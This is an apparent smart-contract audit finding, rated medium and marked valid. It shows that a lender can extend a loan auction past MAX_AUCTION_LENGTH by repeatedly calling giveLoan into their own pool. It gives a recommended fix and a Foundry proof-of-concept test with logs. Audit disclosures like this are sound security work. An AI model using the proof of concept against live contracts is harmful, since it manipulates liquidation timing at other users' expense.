20,000 USDC
View results
Submission Details
Severity: medium
Valid

Bypass auction max length by continuously calling `giveLoan` to the same pool

Summary

The Lender contract has a max auction Length of 3 days, however, he can extend it by paying too low fees, which can be considered negligible, this happens by calling the giveLoan function when the auction has started and giving the Loan to your own pool.

Impact

A user can start an auction and since it must be 3 days before the liquation if he did not get what he wants he can extend it as long as wants to pay too low fees causing him to bypass the MAX_AUCTION_LENGTH.

Tools Used

VSCODE

Recommendations

Check that the user is not giving his loan to the same poolId ( since the user can only have 1 pool because the poolID is a combination of address, loan, and collateral token ) or make sure that when the auction started he cannot give the loan.
In giveLoan function add: if (oldPoolId == poolId) revert ...;

POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// https://github.com/NomicFoundation/hardhat/blob/main/packages/hardhat-core/console.sol
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1_000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(borrower)), 995 * 10 ** 17);
assertEq(collateralToken.balanceOf(address(lender)), 100 * 10 ** 18);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 900 * 10 ** 18);
}
function startAuction() public {
borrow();
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
(, , , , , , , , uint256 startTime, ) = lender.loans(0);
assertEq(startTime, block.timestamp);
}
function getLoanAuctionStartTimestamp() public returns (uint256) {
(, , , , , , , , uint256 startTime, ) = lender.loans(0);
return startTime;
}
function getLoanAuctionEndTimestamp() public returns (uint256) {
(, , , , , , , , uint256 start, uint256 length) = lender.loans(0);
return start + length;
}
function test_bypass_auction_length_limit() public {
borrow();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = keccak256(
abi.encode(
address(lender1),
address(loanToken),
address(collateralToken)
)
);
uint256 auctionStartTimestampBeforeAuction = getLoanAuctionStartTimestamp();
console.log(
"auctionStartTimestamp Before Auction",
auctionStartTimestampBeforeAuction
); // Auction not started yet
vm.startPrank(lender1);
// Start normal auction
lender.startAuction(loanIds);
uint256 auctionStartTimestampAfterFirstAuction = getLoanAuctionStartTimestamp();
uint256 endTimeAfterFirstAuction = getLoanAuctionEndTimestamp();
console.log("---------------------------------------");
console.log(
"auctionStartTimestamp After First Auction",
auctionStartTimestampAfterFirstAuction
);
console.log(
"auctionEndTimestamp After First Auction",
endTimeAfterFirstAuction
);
// 23 hours passed and no one bought the loan in the auction
vm.warp(block.timestamp + 23 hours);
// Call `giveLoan` on the same pool to reset the auction start time
lender.giveLoan(loanIds, poolIds);
uint256 auctionStartTimestampAfterGiveLoan = getLoanAuctionStartTimestamp();
console.log("---------------------------------------");
console.log(
"auctionStartTimestamp After Give Loan",
auctionStartTimestampAfterGiveLoan
); // Auction start time is reset
// Start auction again
lender.startAuction(loanIds);
uint256 auctionStartTimestampAfterSecondAuction = getLoanAuctionStartTimestamp();
uint256 endTimeAfterSecondAuction = getLoanAuctionEndTimestamp();
console.log("---------------------------------------");
console.log(
"auctionStartTimestamp After Second Auction",
auctionStartTimestampAfterSecondAuction
);
console.log(
"auctionEndTimestamp After Second Auction",
endTimeAfterSecondAuction
);
}
}

You should get similar results, showing how the end date of the auction was extended:

Logs:
auctionStartTimestamp Before Auction 115792089237316195423570985008687907853269984665640564039457584007913129639935
---------------------------------------
auctionStartTimestamp After First Auction 1
auctionEndTimestamp After First Auction 86401
---------------------------------------
auctionStartTimestamp After Give Loan 115792089237316195423570985008687907853269984665640564039457584007913129639935
---------------------------------------
auctionStartTimestamp After Second Auction 82801
auctionEndTimestamp After Second Auction 169201

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.